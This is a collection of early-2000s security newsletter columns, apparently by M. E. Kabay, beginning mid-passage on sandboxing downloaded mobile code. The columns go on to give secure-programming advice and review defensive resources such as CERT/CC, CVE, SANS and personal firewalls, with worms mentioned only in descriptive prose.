The problem with this code arises for a simple reason: the mobile code is run and the system protection mechanisms (if any) treat the code as though it were the agent of the person at the client. That is, whatever the person at the client box is allowed to do, the mobile code is assumed to be authorized for. However there is no reason to believe that automatically downloaded code, executed without so much as an advisory to the human at the desk, is doing whatever it is doing because the human wanted it so. The mobile code should be treated as untrusted, "outsider" code most of the time. Beside that, zone controls or signatures tell the human "you either may trust this code to do _anything_ it wants to on your computer or your network, or you may refrain from running it". In few other areas of life must trust be given in such all-or-nothing terms. It makes no sense for a computer system to require this.

What should happen to control mobile code is that it should be recognized by the computer and its actions should be limited so that it is entrusted, _not_ with the entire network to which the client is attached, but with a limited set of resources only. The human in the loop may trust the

program to write to temporary directories, for example, but not to system ones; to save results, but not to alter the Registry; to read the net but not to open new connections or send e-mail.

Mobile code should either be classed as a different user whose permissions can be controlled, or its abilities to alter system state should be controlled directly. In addition it is necessary to ensure that at least any files which are created by mobile code must be controlled in their environment also, so that a downloaded program that creates a viral script will not evade scrutiny.

A system to perform this sandboxing function may be reasonably tested by exposing it to a number of viruses or worms which can be found in the wild and establishing that it blocks their function. A superimposed system which directly creates the sandbox functions can accomplish such restrictions; another approach is to running the mobile code as "guest alien," a pseudouser that is not permitted access to much of the system.

Finally, no add-in of this type can be 100% certain to catch all issues. If the underlying operating system offers holes which allow mobile code to execute privileged functions, as might happen due to non checking of kernel arguments, improper memory protection, too-liberally-exposed debug functions, or the like, it will be possible to construct mobile code which apparently modifies minimal areas of the system but which in fact may disable the sandbox. There is no substitute for a secure OS. A sandboxing system can, however, greatly reduce the likelihood of a breach and is unlikely to be attacked until the same sandboxing code becomes very common.

Programming for Security (1)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

Gregory E. Borter, Systems Coordinator of Silver Springs Alfa SmartParks, Inc., wrote to me with an interesting series of questions:

Message text written by "Gregory E. Borter"
>I've been reading about security problems with the various OS components, both Windows and Linux, and the problems with security with applications software. Where is the best place to start implementing system security?<

It seems to me that security should be integrated into the requirements analysis, the design stage for software, the operating system security kernel, in corporate policy development and in human awareness, training and education programs.

>Should security start with the computer programming languages themselves, or their support libraries?<

PASCAL uses strong typing and requires full definition of data structures, thus making it harder to access data and code outside the virtual machine defined for a given process. In contrast, C and C++ allow programmers to access any region of memory at any time the operating system permits it.

There are several sets of security utilities available for programmers; for example, RSA has a number of cryptographic toolkits. Some textbooks (e.g., Schneier's _Advanced Cryptography_) include CD-ROMs with sample code.

>Are there any computer languages that have security features built-in to the language itself?<

Not to my knowledge, but I'm not an expert in languages.

>With so many PCs linked via networks and the Internet, shouldn't all programs be coded with the assumption that the programs will be operating in an environment where they may very probably be subject to hostile attack?<

Yes, but the difficulty in testing for security is that there are so many possible ways to generate security holes in code. Buffer overflows, for example, are the most common form of security exploit, but clearly the programmers never thought to impose length restrictions on the input strings being handled by Web server software.

>Do any current computer programming languages give programmers tools with which to implement security best practices in their code?<

All computer languages allow you to write code as well as you can <smile>. I think that strongly-typed languages may offer better constraints on programmers, but the essential issue is that the programmers continue to think about security as they design and implement code. Java

does include provisions for limiting access to resources outside the "sandbox" reserved for a process, as described in the books by Felten and McGraw.

* * *

More on this subject in the next column.

Programming for Security (2)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

This is the second in a series of four articles responding to a reader's request for information on security for programmers.

>Do any current computer programming languages give programmers tools with which to implement security best practices in their code?<

All computer languages allow you to write code as well as you can <smile>. I think that strongly-typed languages may offer better constraints on programmers, but the essential issue is that the programmers continue to think about security as they design and implement code. Java does include provisions for limiting access to resources outside the "sandbox" reserved for a process, as described in the books by Felten and McGraw.

>Is there any such thing as security best practices for computer programmers?<

In a sense, though not, as far as I know, in any codified form. There are recommendations on security-related aspects of programming in most general security textbooks; see for example Stallings.

In addition to designing security into a system from the start, I can think of some obvious guidelines that can apply:

* Impose strong identification and authentication for critical and sensitive systems in addition to the I&A available from the operating-system; ideally, use token-based or biometric authentication as part of the initialization phase of your application.

* Document your code thoroughly, including using data dictionaries for full definition of allowable input and output to functions and allowable range and type of values for all variables.

* Use local variables, not global variables, when storing sensitive data that should be used only within a specific routine; i.e., use the architecture of the process stack to limit inadvertent or unauthorized access to data in the stack.

* Re-initialize temporary storage immediately after the last legitimate use for the variable, thus making scavenging harder for malefactors.

* Limit functionality in a specific module to what is required for a specific job; e.g., don't use the same module for supervisory functions and also for routine functions carried out by clerical staff.

* Define views of data in databases that conform to functional requirements and limit access to sensitive data; e.g., the view of data from a medical-records database should exclude patient identifiers when the database is being used for statistical aggregation by a worker in the finance department.

* * *

Programming for Security (3)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

This is the third in a series of four articles responding to a reader's request for information on security for programmers. In part 2, I started a list of suggestions for integrating security into one's programming practices, and here's the rest of the ideas.

* Use strong encryption (NOT home-grown encryption) that has industry-standard routines to safeguard sensitive and critical data on disk. Locally developed, home-grown encryption is generally NOT as safe.

* Disallow access by programmers to production databases.

* Randomize or otherwise mask sensitive data when generating test subsets from production data.

* Use test-coverage monitors to verify that all sections of source code are in fact exercised during quality assurance tests; investigate the functions of code that never gets executed.

* Integrate logging capability into all applications for debugging work, for data recovery after crashes in the middle of a transaction, and also for security purposes such as forensic analysis.

* Create log-file records that include a cryptographically-sound message authentication code (MAC) that itself includes the MAC of the preceding record as input for the algorithm; this technique ensures that forging a log file or modifying it will be more difficult for a malefactor.

* Log all process initiations for a program and log process termination; include full details of who loaded the program or module.

* Log all modifications to records and optionally provide logging for read-access as well.

* Use record-level locking to prevent inadvertent overwriting of data on records that are accessed concurrently. Be sure to unlock a sequence of locks in the inverse order of the lock sequence to prevent deadlocks (thus if you lock resource A, B and C in that order, unlock C, then B, then A).

* Sign your source code using digital signatures.

* Use checksums in production executables to make unauthorized modifications more difficult to conceal.

* * *

Programming for Security (4)

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In this final column in a short series dealing with security in programming, my manager at AtomicTangerine, Mike Gerdes, contributed the following suggestions and comments.

* Might I suggest that you recommend the readers adopt a practice of designing code in a more holistic fashion? A common practice is to write and test routines in a way that verifies the code processes the data in the way intended. To avoid the effects of malicious code and data input attacks, the programmer must also write code which deals with what is NOT supposed to be processed. A more complete design methodology would also include testing of all inbound information to ensure exclusion of any data which did not fit the requirements for acceptable data. This method should be applied to high risk applications and those with an extremely arduous test cycle and will eliminate many of the common attack methods used today.

* Establish the criteria for determining the sensitivity level of information contained in, or processed by the application and subroutines.

* If they are not already present, consider implementing formal control procedures in the software programming methodology to ensure all data is reviewed during QA processes to be sure it is classified and handled appropriately for the level assigned.

* Identify and include any mandatory operating system and network security characteristics for the production system in the specifications of the software. In addition to providing the development and QA teams some definition of the environment the software is designed to run in, giving the administrator and end users an idea of what your expectations were when you created the code can be extremely useful in determining where software can, or cannot, be used.

* Where appropriate, verify the digital signatures of routines that process sensitive data when the code is being loaded for execution.

* If you include checksums on executables for production code, include routines which verify the checksums at every system restart.

* * *

In addition to my thanks to Mike Gerdes for the ideas included above, I thank our friend and colleague Edwin Blackwell at AtomicTangerine for his helpful comments on the original text of these articles. I look forward to suggestions from readers (non-programmer readers might want to circulate the articles to their programming colleagues for ideas) on how to expand and improve this list of suggestions as well as suggestions on good books and URLs dealing with security in programming, all to be published in a followup article later. Contributors should tell me if I can credit you by name and affiliation in a column.

Programming for Security (5): Yoder and Barcalow

by Sasha Romanosky and M. E. Kabay

[A note from Mich: Reader Sasha Romanosky of Morgan Stanley sent me a stimulating letter as a followup to the series on programming and security; he has very kindly allowed me to share it with readers. The following is an edited version of his original letter.]

* * *

I came across your articles on programming for security and thought of an additional resource your readers. Recently, SecurityPortal published a review by Razvan Peteanu < http://securityportal.com/articles/designpatterns20010611.html > of a paper entitled, "Architectural Patterns for Enabling Application Security," by Joseph Yoder and Jeffrey Barcalow (1998) < http://www.joeyoder.com/papers/patterns/Security/appsec.pdf > (also available in MS-Word, RTF and PostScript from Yoder's Web site at < http://www.joeyoder.com/papers/patterns/ >).

The authors took the premise of OO design patterns and applied it to security. They introduced the following patterns:

* Single Access Point: preventing back doors by forcing a single entry point to code.

* Check Point: Organizing security checks and the repercussions of security violations.

* Roles: Organizing role-based security to define security privileges for different job functions.

* Session: Localizing global information about users, their privileges, resources in use and application states (e.g., locking).

* Limited View: Allowing users to see only the functions and fields that they can access.

* Full View with Errors: Showing users a full view of all functions fields (but not contents) with disabled functions and inaccessible fields clearly marked.

* Secure Access Layer: Integrating application security with low-level security such as encryption, firewalls, and authentication methods.

The paper excited me because it seemed like a great way to organize the concepts and practices that should make up a good application-security policy. One takes security existing or desired practices and formulates them into security patterns. When one needs to implement a new application, host or network, one can quickly identify the security patterns from this collection of best-practice implementations and apply them to the new application design.

Collecting and formalizing known security principles in this way is of great value in developing and applying good security measures.

Typically, security measures seem to focus on network security and rarely tackle security at the application level. The authors, I believe, attempt to fill this gap. I'll note, however, that many of these patterns can (and happily do) apply to both network and applications.

Since the article, I have been working to extend their list with additional patterns. I have developed eleven so far.

If readers are interested, I would encourage you to read the original paper. If you are still interested, I would welcome your insight or the opportunity to exchange thoughts. I would like to consider this work very collaborative and technology and company agnostic. You may contact me at < Sasha.Romanosky@morganstanley.com >.

* * *

Sash Romanosky is _____ at Morgan Stanley. He _____.

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services.

Managed Security Monitoring

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

Readers will know that I admire and respect Bruce Schneier, Founder and Chief Technical Officer of Counterpane Internet Security. The man is brilliant, his take on security makes sense, he writes clearly and simply. His free monthly e-mail newsletter, "Cryptogram," < http://www.counterpane.com/crypto-gram.html > is always worth reading and includes lucid opinion pieces and brief summaries of recent information security developments with pointers to the full articles. His book "Secrets and Lies" (see < http://www.counterpane.com/sandl.html > is a stimulating exploration of the fundamental issues in security today and is suitable not only for network managers and security experts but also for general management who have shown the slightest interest in security.

I recently received a booklet in the mail entitled, "Managed Security Monitoring: Network Security for the 21st Century" by Bruce Schneier and found it up to Schneier's usual standard of excellence. The document is available on the Web in HTML < http://www.counterpane.com/msm.html > and in PDF < http://www.counterpane.com/msm.html >.

Schneier's introduction reiterates his emphasis on the human side of security: depending solely on technology products is futile. In the section on "The Importance of Security," he summarizes risks for organizations using the Internet; e.g., direct losses such as, "theft of trade secrets, customer information, money . . . . [and] productivity losses"; indirect losses such as, "loss of customers, damage to brand, loss of goodwill." He points to increased legal liability for officers of organizations that fail to protect the privacy of customers or data subjects in the financial and health care industries. In "The Failure of Traditional Security," Schneier condemns "traditional" security (by which he means the fruitless search for "magic preventive technology" and insists that only a commitment to process will allow us to manage risks in the face of changing threats and vulnerabilities.

In subsequent sections, Schneier builds a compelling case for the well-established view that risk management must depend on protection, detection and response. Then he discusses intrusion-detection technologies and asserts that software alone is insufficient: we need _people_ to improve the power of the test; i.e., to distinguish between real incidents and false alarms. Next, network personnel must be ready with well-thought-out plans for _responding_ effectively to particular intrusions or other attacks.

Finally, Schneier discusses his view of how to outsource network security monitoring and goes on to discuss how his company's services meet the criteria he has established. One of his most important messages is that monitoring should be the first step in establishing network security, not the last. Monitoring can provide a baseline that supports effective risk management even before security policies are established and technology is implemented.

As I have written in other articles, it is always a pleasure to see a White Paper that is worthy of the name: a truly well-designed, thoughtful definition and analysis of a problem followed by valuable suggestions about evaluating alternatives and only then with company- or product-

specific details. Would that more techies could convince their marketing colleagues to emulate this model.

* * *

Disclaimer: The author has no financial interest whatsoever in Counterpane Systems and has received no consideration from that firm for writing this review.

* * *

Mich Kabay can be reached by e-mail at <mkabay@atomictangerine.com>. Alerts & Vulnerabilities (1): CERT/CC

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In coming weeks, I will be reviewing the information security resources upon which I rely most often. In the first few issues of the new series, we will look at alerts and vulnerabilities.

I hope that any readers who don't know about the Computer Emergency Response Team Coordination Center or CERT/CC at the Software Engineering Institute of Carnegie-Mellon University < http://www.cert.org > will immediately go to their Web site for an introductory exploration.

CERT/CC was developed in the wake of the Morris Worm of 2 November 1988, when it became clear that the Internet community needed some sort of central data repository and communications service to ensure rapid and effective response to emergencies affecting the Internet.

The CERT/CC resource is a extraordinary source of unbiased, technically advanced information about security vulnerabilities, exploits, and patches. All network administrators should ensure that someone in their group is formally tasked with the responsibility of monitoring bulletins from CERT/CC. The latest Advisories are always listed at < http://www.cert.org/advisories/ >; these documents provide an overview of current important security problems and usually provide an overview, description, impact analysis, solutions, vendor information and references. For example, at the time of writing, the latest Advisories included "CA-2001-12: Superfluous Decoding Vulnerability in IIS" and "CA-2000-11: sadmind/IIS Worm."

The CERT/CC Summaries < http://www.cert.org/summaries/ > are extensive documents published four to six times a year and provide a wide-ranging review of key issues as seen by the organization's expert staff. The latest Summary is "CS-2001-02," published May 29, 2001; it includes the usual summary of recent activity and a list of recent updates to the CERT/CC Web site.

Two less well-known resources are the CERT/CC Incident Notes < http://www.cert.org/incident_notes/ > and the Vulnerability Notes < > which are described as, "as an informal means for giving the Internet
community timely information relating to the security of its sites. Incident notes describe current intruder activities that have been reported to the CERT/CC incident response team. Vulnerability notes describe weaknesses in Internet-related systems that could be exploited but that do not meet the criteria for advisories." The Incident Notes are usually short reports on particular exploits and sometimes include source code to illustrate how the attacks work. The latest Incident Notes listed at the time of writing were "IN-2001-05: The cheese Worm" and "IN-2001-04: Carko Distributed Denial-of-Service Tool."

Subscriptions to all these publications are free; details are available at the end of each document.

In addition to the publications described above, CERT/CC also provides a wealth of data in other forms. There are courses, books, and White Papers enough to keep any security-happy network manager fully occupied. For example, Julie Allen of CERT/CC has just published a new book entitled _The CERT Guide to System and Network Security Practices_ (Addison-Wesley, ISBN 0-2017-3723-X) which I hope to review soon. Details are at < http://www.cert.org/nav/index_green.html#feature >.

CERT/CC are currently introducing the OCTAVE (Operationally Critical Threat, Asset, and Vulnerability Evaluation) self-directed risk evaluation method which provides a three-phase framework for workshop-based security analysis for organizations. See < http://www.cert.org/octave/ > for details.

Live courses offered by staff of the CERT/CC are described at < http://www.cert.org/training/ >. Courses include, for example,

- Concepts and Trends in Information Security
- Information Security for Technical Staff
- Managing Risks to Information Assets
- Executive Role in Information Security: Risk and Survivability
- Creating a Computer Security Incident Response Team
- Managing Computer Security Incident Response Teams (CSIRTs)
- Computer Security Incident Handling for Technical Staff (Intro)
- Computer Security Incident Handling for Technical Staff (Adv)
- Overview of Managing a CSIRT.

CERT/CC is also involved in ongoing research. I urge readers to look into participating in necessary data-gathering by reporting computer security incidents and vulnerabilities promptly; see < http://www.cert.org/contact_cert/contactinfo.html > for the appropriate forms.

* * *

The next article in this series will focus on the Common Vulnerabilities and Exposures Dictionary.

* * *

Mich Kabay can be reached by e-mail at <mkabay@atomictangerine.com>. He invites inquiries about a wide range of information security courses and INFOSEC consulting services that he and his colleagues at AtomicTangerine would be delighted to deliver to your employees at your site and at your convenience. For Web-based or CD-ROM online training in security from our Information Security University project, see < http://infosecu.com >.

For information about AtomicTangerine, visit < http://www.atomictangerine.com >.

Alerts & Vulnerabilities (2): CVE & ICAT Metabase

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In coming weeks, I will be reviewing the information security resources upon which I rely most often. In the first few issues of the new series, we will look at alerts and vulnerabilities.

The Common Vulnerabilities and Exposures (CVE) project is described on the home page < http://cve.mitre.org/ > as "A list of standardized names for vulnerabilities and other information security exposures — CVE aims to standardize the names for all publicly known vulnerabilities and security exposures."

"Vulnerabilities" are generally viewed as any aspect of a system or product that allows a breach of security (i.e., a breach of confidentiality, possession, integrity, authenticity, availability, utility or any combination of these principles). However, the Editorial Board of the CVE recognized that "vulnerability" was sometimes used in contradictory ways and so they defined a "universal vulnerability" as follows < http://cve.mitre.org/about/terminology.html >: "A "universal" vulnerability is one that is considered a vulnerability under any commonly used security policy which includes at least some requirements for minimizing the threat from an attacker." The guidelines for identifying a universal vulnerability include that the candidate phenomenon allows an attacker to

- execute commands as another user
- access data that is contrary to the specified access restrictions for that data
- pose as another entity
- conduct a denial of service.

In contrast, an "exposure" is regarded as a problem which

- allows an attacker to conduct information gathering activities
- allows an attacker to hide activities
- includes a capability that behaves as expected, but can be easily compromised
- is a primary point of entry that an attacker may attempt to use to gain access to the system or data
- is considered a problem according to some reasonable security policy.

The CVE can be downloaded freely and used by security vendors to standardize the names they use in describing vulnerabilities. Although there is a simple keyword search available on the CVE site at < http://cve.mitre.org/cve/index.html >, the full usefulness of the dictionary can best be realized using the ICAT Metabase < http://icat.nist.gov/icat.cfm > organized by the National Institute of Standards and Technology of the US government.

The ICAT Metabase offers users a full-featured search engine with options for selecting vulnerabilities and exposures according to any or all of the following criteria:

- Date of entry

- Vendor
- Product
- Version
- Keyword search
- Severity
- Common Sources
- Related exploit range
- Vulnerability consequence
- Vulnerability type
- OS Type
- Exposed component type
- Entry type
- Entries since the following date.

For example search for all entries of any severity for Microsoft Windows 98 SE generates a report with 10 records. Each vulnerability is summarized in brief and there is a hyperlink for the full record. The record contains the official name of the vulnerability or exposure (e.g., CAN-2000-1-39), date of publication, summary, severity, type, exploitable range, loss type, references, and a list of vulnerable versions.

For network administrators seeking a comprehensive (or narrower) list of security problems for a specific version of a software product, the ICAT Metabase offers rapid access to reasonably up-to-date information.

* * *

The next article in this series will focus on the National Infrastructure Protection Center's CyberNotes.

* * *

Mich Kabay can be reached by e-mail at <mkabay@atomictangerine.com>. He invites inquiries about a wide range of information security courses and INFOSEC consulting services that he and his colleagues at AtomicTangerine would be delighted to deliver to your employees at your site and at your convenience. For Web-based or CD-ROM online training in security from our Information Security University project, see < http://infosecu.com >.

For information about AtomicTangerine, visit < http://www.atomictangerine.com >.

Alerts & Vulnerabilities (3): NIPC CyberNotes

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In coming weeks, I will be reviewing the information security resources upon which I rely most often. In the first few issues of the new series, we will look at alerts and vulnerabilities.

The National Infrastructure Protection Center < http://www.nipc.gov/ > was founded as a result of the Report of the President's Commission on Critical Infrastructure Protection < http://www.ciao.gov/PCCIP/ >. In turn, the PCCIP was founded in July 1996 as a result of the Presidential Executive Order 13010.

NIPC is intended to support security efforts affecting the critical infrastructure of the United States. "The National Infrastructure Protection Center (NIPC) serves as a national critical infrastructure threat assessment, warning, vulnerability, and law enforcement investigation and response entity. The NIPC provides timely warnings of international threats, comprehensive analysis and law enforcement investigation and response. The mission of the NIPC is to:

- detect, deter, assess, warn, respond, and investigate unlawful acts involving computer and information technologies and unlawful acts, both physical and cyber, that threaten or target our critical infrastructures;
- manage computer intrusion investigations; support law enforcement, counterterrorism, and foreign counterintelligence missions related to cyber crimes and intrusion;
- support national security authorities when unlawful acts go beyond crime and are foreign-sponsored attacks on United States interests; and
- coordinate training for cyber investigators and infrastructure protectors in government and the private sector."

In addition to extensive training programs and the national InfraGard project, which will be the subject of a future column, NIPC provides a valuable service to network managers through its regular CyberNotes, published every two weeks. The most valuable component is the table of Bugs, Holes and Patches, showing the vendor or operating system, software name, vulnerability and impact, patches, common name, risk level, and sources of exploits. Archives of CyberNotes are available in PDF format for easy printing at < http://www.nipc.gov/cybernotes/cybernotes.htm >.

This service is a good companion to the Common Vulnerabilities and Exposures project and the ICAT Metabase discussed in the preceding article in this series.

* * *

The next article in this series will focus on the Global Incident Analysis Center of the System Administration, Networking and Security Institute.

* * *

Mich Kabay can be reached by e-mail at <mkabay@atomictangerine.com>. He invites inquiries about a wide range of information security courses and INFOSEC consulting services that he and his colleagues at AtomicTangerine would be delighted to deliver to your employees at your site and at your convenience. For Web-based or CD-ROM online training in security from our Information Security University project, see < http://infosecu.com >.

For information about AtomicTangerine, visit < http://www.atomictangerine.com >.

Alerts & Vulnerabilities (4): Internet Weather Report

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In coming weeks, I will be reviewing the information security resources upon which I rely most often. In the first few issues of the new series, we will look at alerts and vulnerabilities.

The System Administration, Networking and Security (SANS) Institute provides many resources at its main Web site < http://www.sans.org >. Among many other useful services, SANS offers three free e-mail publications of interest to network managers:

- Security Alert Consensus: a weekly digest of new threats and patches;
- Windows Security Digest: the latest system administration requirements for the worlds most widely-used operating environment (distributed monthly); and
- Newsbites: a weekly digest of the editors' pick of the top 25 security news stories.

To subscribe to these publications, just send an e-mail to info@sans.org with one or more of the following in the subject line: Security Alert Consensus, Windows Security Digest, or Newsbites.

The new SANS Emergency Incident Handler site < http://www.incidents.org/ > provides a good summary report on the latest security threats and vulnerabilities. The Incidents.org home page presents a dense summary of breaking news in the security field and currently features a multicolored line graph showing the frequency of probes on specific ports; this graph is one of the products of the concerted effort to map incidents on Internet sites and help to fight widely-distributed attacks. With the collaboration of correspondents throughout the world, SANS' "Internet Storm Center" can not only track what's happening but can also supply early warnings to anyone who wants to listen and can supply valuable data to law enforcement officials.

A fascinating case study of the effectiveness of this new tool is reported at < http://www.incidents.org/isw/iswp.php >. On March 22, 2001, participants in the Internet Storm Center project reported a worldwide flood of probes to port 53 (associated with the Domain Name Service). The Lion worm was launching hundreds of thousands of probes automatically; when it found susceptible systems, it infiltrated them and sent password files to a Chinese site, then installed a Distributed Denial-of-Service zombie for later use.

Thanks to the coordination provided by the Internet Storm Center, a global effort to fight the attack began within an hour of the initial reports. The Incident Handler assigned to the problem communicated with cooperating network and security administrators, and within three hours, reports started filtering in of specific infections by the malicious software. Within 14 hours of the initial spike in probes, the Center alerted 200,000 participants to the attack with information on how to identify and stop the worm. Internet access to the Chinese site receiving password files was terminated by UUNET as a result of the worldwide effort.

In addition to the Internet Storm Center, the new Incidents.org site also offers access to well-organized resources from SANS such as the Consensus Intrusion Database, which holds the

voluminous data from intrusion reports used by the Internet Storm Center. The database provides a number of reports of interest, such as the top ten source IP addresses for scans reported to the Center – of great interest in configuring firewalls, for example.

Readers will find a great deal of useful – and fascinating – information from the cutting edge of information security at the SANS and Incidents.org sites. Congratulations to Allan Paller, Stephen Northcutt and all their collaborators on a superb addition to the growing suite of defenses against malicious Internet abusers and their malicious software.

* * *

The next article in this series will focus on some useful resources specializing in identifying new threats from malicious software and distinguishes hoaxes from reality.

Alerts & Vulnerabilities (5): Electronic Truth and Lies

by M. E. Kabay, PhD, CISSP
Security Leader
INFOSEC Group
AtomicTangerine, Inc.

In coming weeks, I will be reviewing the information security resources upon which I rely most often. In the first few issues of the new series, we have been looking at alerts and vulnerabilities.

Thanks to unschooled, naïve users who forward anything they receive without even _thinking_ about checking for correctness, network users often report false news to their colleagues on a network. As shown in the recent outbreak of the SULFNBK hoax (where messages convinced some people to delete a perfectly harmless and useful file out of fear that it carried a virus), hoaxes can convert gullible users into agents of destruction. In common with most other security specialists, I recommend that every organization explicitly ban distribution of warnings except through an authorized channel such as a network operations center, security team, technical support group or Help Desk.

The Hype or Hot page < http://www.trusecure.com/html/tspub/hypeorhot/index.shtml > at TruSecure Corporation (where I was Director of Education from 1991 to 1999) has useful information for network administrators trying to sort through the Internet babble of warnings about new malicious software. When I visited the page to write this article, the top news included a brief description of the W32/MsWorld@mm Trojan, which is described concisely as follows: "This appears to be a Shockwave movie compiled into an exe file. It purports to show pictures of Miss World beauty contestants, and in fact does show a few pictures, most of which have been morphed into mildly amusing caricatures."

A real worm is VBS/BVSWG.Z@MM (also known as vbs/mawanella or vbs/nella.a@mm); it is described as follows: "This worm is hand-written (badly laid-out and untidy, but it works, and is spreading rapidly), and is modelled on standard vbswg kit generated ones. The point for the hand-rewriting is to achieve the displaying of the desired message. This isn't possible with pure kit-generated stuff. The message, by the way, is a political one to call attention to strife in Sri Lanka. As with other vbswg examples, it has no auto-start capability -- victims have double click the attachment to start it. It makes no special attempt to hide itself, and offers no startling new technology or twists, so it shouldn't get anywhere. Unfortunately, it is being reported from several countries around the world. As usual, anyone who is folowing TruSecure guidelines, and is filtering off .vbs attachments has little to fear."

The site includes archives of previous analyses and has recently announced that the Hype or Hot page is now available via the AvantGo wireless service for hand-held devices. Even Internet-enabled cellular phones can reach the page by using the URL < http://www.trusecure.com/hdml/hoh/index.hdml >.

Congratulations to my long-standing friends and colleagues at TruSecure for this useful resource.

* * *

Finally, a quick word about the most comprehensive and well-run hoax site on the Internet, Rob Rosenbergers's Vmyths.com < http://www.vmyths.com/ >. In addition to an extensive and easily used search engine (just enter any key words you think might be specific to a message and you'll get a list of possible hoaxes that use those words), the site features hard-hitting commentary from Rosenberger and his bebunking friends such as George C. Smith (author of the 1994 classic, _The Virus Creation Labs: A Journey into the Underground._ American Eagle Publications, Tucson, AZ, ISBN 0-929408-09-8; 172 pp_. Some of the entertaining and though-provoking articles on the site when I visited it while researching this article:

Q&A: how often does virus hysteria occur? We coined the new term "hystericane" (a contraction of "hysteria hurricane"). These events follow a regular cycle, too. In other words, we can begin to predict hystericanes like sulfnbk.exe... [6/4/01]

Mumblings of monkey-men mock moderation: India's gov't may force its military to track down a mythical "monkey-man" beast. Well, what a coincidence! The U.S. gov't goes to great lengths to track down mythical electronic monkey-men... George C. Smith reports. [6/5/01]

sulfnbk.exe virus: It's not a hoax per se -- it's actually a mass-hysteria urban legend. Sadly, a bunch of clueless people keep rewriting the alert. Just one more reason why virus news should come directly from a virus expert... [5/29/01]

sulfnbk.exe food for thought: The sulfnbk.exe hysteria raised some wild philosophical questions. Vmyths.com has the intelligence (and the guts) to ask them... Rob Rosenberger reports. [6/4/01]

This site deserves an award for the exaltation of skepticism and common sense. It can be listed in every network security handbook as the first place to look for a quick take on whether a warning you get from a friend is bogus or not. If I heard on National Public Radio that a giant meteor were about to crash into our planet, I'd check vmyths.com before believing the report.

* * *

The next articles in this series will focus on security-awareness resources.

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services.

Personal Firewalls (1):
Persistent Connections to the Internet

by M. E. Kabay, PhD, CISSP
Associate Professor of Computer Information Systems
Norwich University, Northfield VT

Dorothy Lunn, an Information Security Officer with the Federal Government, contributed the following comment::

"At the strong suggestion of a security class instructor, I downloaded and installed a personal firewall on my home PC. It didn't take long to see why my PC needed a firewall. Aside from numerous pings there have been attempts to access my PC and to download packets to it. I realize now that home PCs are a huge resource for hackers and cyber terrorists. As a result of my experience, I believe that IT professionals have a responsibility to protect their home PCs with a personal firewall in addition to antivirus software. I asked several attendees at a conference recently whether they had a firewall on their home PC. Not a single person answered affirmatively. I downloaded the personal firewall from ZoneAlarm at < http://www.zonelabs.com/ > since it is free for personal and non-profit use."

* * *

Why should corporate network managers care about personal firewalls? Because the corporate network is, amoeba-like, spreading extensions out of the office that make corporate data vulnerable to hacker attacks. Portable and home computers can be linked easily using synchronizing software such as the Microsoft Windows "Briefcase" feature and the well-known Laplink products < http://www.laplink.com/ >. Many workers bring files home and work on company projects outside normal working hours; many of us even telecommute, doing significant amounts of work outside the corporate milieu. We are exposing corporate data via Internet connections without the protection of the corporate firewalls.

The second problem we're facing is persistent Internet connections. Cable modems, satellite systems — employees are exposing unprotected corporate data to the 'Net for much longer times than when dialup modems were the norm. Even with dialup lines, one can see frequent port scans and unauthorized attempts to connect to various ports from (largely) automated scanners; however, persistent connections make the problem much worse. Personally,

Third, there are automated programs in use by criminal hackers that are designed to find unprotected systems and infiltrate them for nefarious purposes such as distributed denial-of-service attacks.

When employees expose their corporate laptops or their home computers with corporate data to the Internet, they put those data at risk. When compromised portable computers are brought back into the workplace and connected to internal networks, their burden of malicious software effectively gets through the corporate firewall and puts all corporate systems at risk.

The combination of these factors makes home and portable computers a significant element for corporate security. I fully concur with Ms Lunn in urging all network managers to ensure that every workstation computer that carries corporate data should be protected by a personal

firewall.

* * *

In the next article in this series, I will look at Steve Gibson's testing tools for personal firewalls.

* * *

Mich Kabay can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about a wide range of information security courses and INFOSEC consulting services that he and his colleagues would be delighted to deliver to your employees at your site and at your convenience. Personal Firewalls (2):
Testing From the Outside

by M. E. Kabay, PhD, CISSP
Associate Professor of Computer Information Systems
Norwich University, Northfield VT

In the first article in this short series on personal firewalls, we looked at the basic reasons corporate network security managers should install personal firewalls on all their organizations' computers, including laptops, and why home computers used by employees should also be protected. In this article, I summarize Gibson's analysis of personal firewalls.

* * *

Steve Gibson < http://www.grc.com> has been contributing to security for a long time. His $89 SpinRite disk integrity checker < http://grc.com/spinrite.htm > identifies and corrects disk problems that can lead to data corruption but that are not identified by other sector scanners on the market. His work on spyware (e.g., recent demonstrations that well-known download aids such as RealDownload, Download Demon and Smart Download communicate covertly with sites on the Internet < http://grc.com/downloaders.htm >) has made the problem of secret monitoring of user activity a significant issue, contributing to recent moves to make such software illegal < http://grc.com/spywarelegislation.htm >. He has made available a free utility for scanning systems for necessary security patches to WindowsNT < http://grc.com/pw/patchwork.htm > and it is being distributed at no cost by the Center for Internet Security < http://www.cisecurity.org/ >.

Gibson has developed a number of safe tests for users to verify that their firewalls – and especially their workstations' personal firewalls – are correctly configured and working properly.

The ShieldsUP introductory page < https://grc.com/files/IP_Agent.exe > explains that the first step in testing a firewall from the outside requires determining the system under test's Internet Protocol (IP) address. Dialup access to an Internet Service Provider (ISP) generates a dynamically allocated IP address; however, some persistent Internet connections use a stable IP address. Gibson provides a small assembly-level program, "IP Agent," that determines a systems current IP address for use in testing.

